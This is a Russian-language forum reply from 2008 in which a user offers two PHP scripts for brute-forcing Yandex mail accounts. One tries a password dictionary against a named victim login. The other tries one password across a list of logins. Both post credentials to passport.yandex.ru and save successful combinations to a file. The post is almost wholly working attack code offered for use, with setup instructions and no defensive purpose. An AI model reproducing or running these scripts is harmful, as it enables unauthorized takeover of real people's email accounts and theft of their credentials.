Показать сообщение отдельно

  #5  
Старый 21.03.2008, 06:52
ZET36
Участник форума
Регистрация: 08.10.2007
Сообщений: 259
С нами: 9785147

Репутация: 137
По умолчанию

да актуален

если хочеш заюзай мой скрипт (нужны сокеты)

для брута одного логина несколькими паролями
PHP код:

<?php
$login
="логинжертвы"; 

$passfile = "pass.txt"; 
for (
$doscriot=0;$doscriot<=count($contents);$doscriot++) 
{
$passfile = "pass.txt";

$handle = fopen($passfile,"r");
$contents = fread($handle,filesize($passfile));
fclose($handle);
$contents = explode("\n",$contents);
$parol=trim($contents[$doscriot]);


$hostname = "passport.yandex.ru"; 
$path = "/passport"; 
$line = "";


$fp = fsockopen($hostname, 80, $errno, $errstr, 30); 

if (!
$fp) echo "$errstr ($errno)<br />\n"; 
else
{

$data = "mode=auth&login=".$login."&passwd=".$parol."&retpath=http://mail.yandex.ru\r\n\r\n"; 

$headers = "POST $path HTTP/1.1\r\n"; 
$headers .= "Host: $hostname\r\n";
$headers .= "Content-type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n";

fwrite($fp, $headers.$data); 
while (!
feof($fp)) 
{
$line .= fgets($fp, 1024);
}
fclose($fp);
}

if(
$line[9]=="3")
{

$zergood = 'good.txt';
$somecontent = " для логина ".$login." пароль ".$parol;


if (
is_writable($zergood)) {


    if (!
$udacha = fopen($zergood, 'a')) {
         echo 
"Не могу открыть файл ($zergood)";
         exit;
    }


    if (
fwrite($udacha, $somecontent) === FALSE) {
        echo 
"Не могу произвести запись в файл ($zergood)";
        exit;
    }
    
    echo 
"Ура! сбручено ($somecontent) и записано в файл ($zergood)";
    
    
fclose($udacha);

} else {
    echo 
"Файл $zergood недоступен для записи";
}

}

}


?>
создаём ещё файлы good.txt куда запишется удачная комбинация

и файл pass.txt со словарём для брута (список паролей)
на все файлы права 777


для брута одним паролем на несколько логинов
PHP код:
<?php
$parol
="пароль"; 

$loginsfile = "login.txt"; 
for (
$doscriot=0;$doscriot<=count($contents);$doscriot++) 
{
$loginsfile = "login.txt";

$handle = fopen($loginsfile,"r");
$contents = fread($handle,filesize($loginsfile));
fclose($handle);
$contents = explode("\n",$contents);
$loginsss=trim($contents[$doscriot]);


$hostname = "passport.yandex.ru"; 
$path = "/passport"; 
$line = "";


$fp = fsockopen($hostname, 80, $errno, $errstr, 30); 

if (!
$fp) echo "$errstr ($errno)<br />\n"; 
else
{

$data = "mode=auth&login=".$loginsss."&passwd=".$parol."&retpath=http://mail.yandex.ru\r\n\r\n"; 

$headers = "POST $path HTTP/1.1\r\n"; 
$headers .= "Host: $hostname\r\n";
$headers .= "Content-type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n";

fwrite($fp, $headers.$data); 
while (!
feof($fp)) 
{
$line .= fgets($fp, 1024);
}
fclose($fp);
}

if(
$line[9]=="3")
{

$zergood = 'good.txt';
$somecontent = " у  пароля ".$parol." логин ".$loginsss;


if (
is_writable($zergood)) {


    if (!
$udacha = fopen($zergood, 'a')) {
         echo 
"Не могу открыть файл ($zergood)";
         exit;
    }


    if (
fwrite($udacha, $somecontent) === FALSE) {
        echo 
"Не могу произвести запись в файл ($zergood)";
        exit;
    }
    
    echo 
"Ура! сбручено ($somecontent) и записано в файл ($zergood)";
    
    
fclose($udacha);

} else {
    echo 
"Файл $zergood недоступен для записи";
}

}

}


?>

создаём ещё файлы good.txt куда запишется удачные комбинации

и файл login.txt со словарём для брута (список логинов)
на все файлы права 777
 
Ответить с цитированием